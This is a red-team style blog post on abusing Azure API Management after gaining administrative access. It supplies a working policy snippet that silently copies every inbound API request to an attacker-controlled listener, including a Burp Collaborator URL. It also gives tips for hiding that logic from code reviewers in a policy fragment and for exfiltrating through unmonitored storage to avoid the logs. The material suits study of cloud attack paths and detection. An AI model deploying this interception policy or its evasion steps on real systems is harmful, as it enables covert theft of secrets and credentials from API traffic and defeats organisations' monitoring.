Introduction
In this short post, we will take a look at a simple way to maintain persistence and abuse Azure API Management after gaining an initial foothold to the environment.
Often it is unclear what you can do with Azure Resources once you have administrative access to them. Azure API Management is one such resource - it offers plenty of avenues for abuse, but you need to understand how it is used and how it is configured in order to abuse it.
In short, API Management is a management-plane resource that can define how one or several API Gateways process incoming requests. It does this by allowing users to define “API policies”, which are essentially snippets of .NET code that modify the request or perform some operation, such as validating a JWT token.
Avenues for Abuse
The most obvious ways to abuse API Management involves intercepting requests, and if needed, modifying them on the fly. This is what we will go over in this post.
By intercepting API requests and responses, an attacker can steal secrets, reverse engineer APIs, and gain better insight into how to abuse a particular API. The trick with interception is to not get caught, and to avoid interfering with the legitimate processing of the APIs.
Luckily, this is quite easy in API Management because of a built-in policy:
send-one-way-request
It is documented here.
This policy will forward an asynchronous request from an API Management Gateway to any URL specified, during the processing of each request. This provides an easy way to create copies of the request without otherwise interacting with it.
Creating a re-usable policy snippet
You can choose to copy the request in a number of ways. We will use a simple approach, where we duplicate the entire request, and simply change the URL to a URL we control.
To ensure that we keep track of all original hosts, we will also append a header to the request called “original-host”. This makes it easy to replay the request later.
WARNING: If you get an error in this code, the entire API will stop working!
The resulting policy looks like the following:
<set-variable name="interceptorUrl" value="[your listening domain]" />
<set-variable name="path" value="@(context.Request.Url.Path)" />
<set-variable name="query" value="@(context.Request.Url.QueryString)" />
<set-variable name="host" value="@(context.Request.Headers.GetValueOrDefault("host", "nohostfound"))" />
<send-one-way-request mode="copy">
<set-url>@($"{context.Variables["interceptorUrl"]}{context.Variables["path"]}{context.Variables["query"]}")</set-url>
<set-header name="originalHost" exists-action="override">
<value>@((string)context.Variables["host"])</value>
</set-header>
</send-one-way-request>
If we add this policy to the root API policy, it will execute on any inbound request that uses the “base” policy, which is generally every request. For example, if we use Burp Collaborator as the URL:
<set-variable name="interceptorUrl" value="http://vjiil1kposkjt6hgfzj5lx9ep5vwjo7d.oastify.com.oastify.com" />
... etc
We can configure a new APIM policy endpoint to test, which forwards traffic to the “echoapi.cloudapp.net” endpoint:
And test the endpoint with Burp:
Note that the request succeeded. We can observe the request in collaborator:
Policy Fragments
To avoid detection if an engineer is reviewing the code, another trick may be to use a policy fragment to contain this logic. If you use a policy fragment, the logic will be masked by some default fragment name, which may be less likely to be spotted. For example, consider the following fragment:
This allows the root API policy to be slightly more inconspicuous:
Detection
API Management offers the “GatewayLogs” resource log category. These logs Include the raw inbound request prior to processing, and do not include the processing logic of policies. Developers can add addition “loggers” to forward custom events inside of a policy definition, but this method also cannot be used to log which policy events have occurred.
This makes the processing logic in APIM policies effectively invisible if the Gateway is not deployed to route egress traffic through a virtual network. If the Gateway is deployed with virtual network integration or injection, or a self-hosted gateway is used, then it is possible to observe the outbound request in the network traffic, depending on what observability and appliances are being used. However, this is environment specific.
If there is obvious network observability in place, another method of data exfiltration might be to create a new resource in the same subnet, or identify an existing resource you can abuse to avoid detection, and forward request contents to that local resource instead of to an external domain. This would allow secondary data exfiltration techniques to be applied that may not be monitored. Examples may be cross-tenant private endpoints on the storage account, blob copy commands, or even just making the storage account publicly available with no logging.
In short, with a bit of tuning, it would be fairly trivial to use this technique to abuse APIM policies to exfiltrate all HTTP requests without showing up in logs.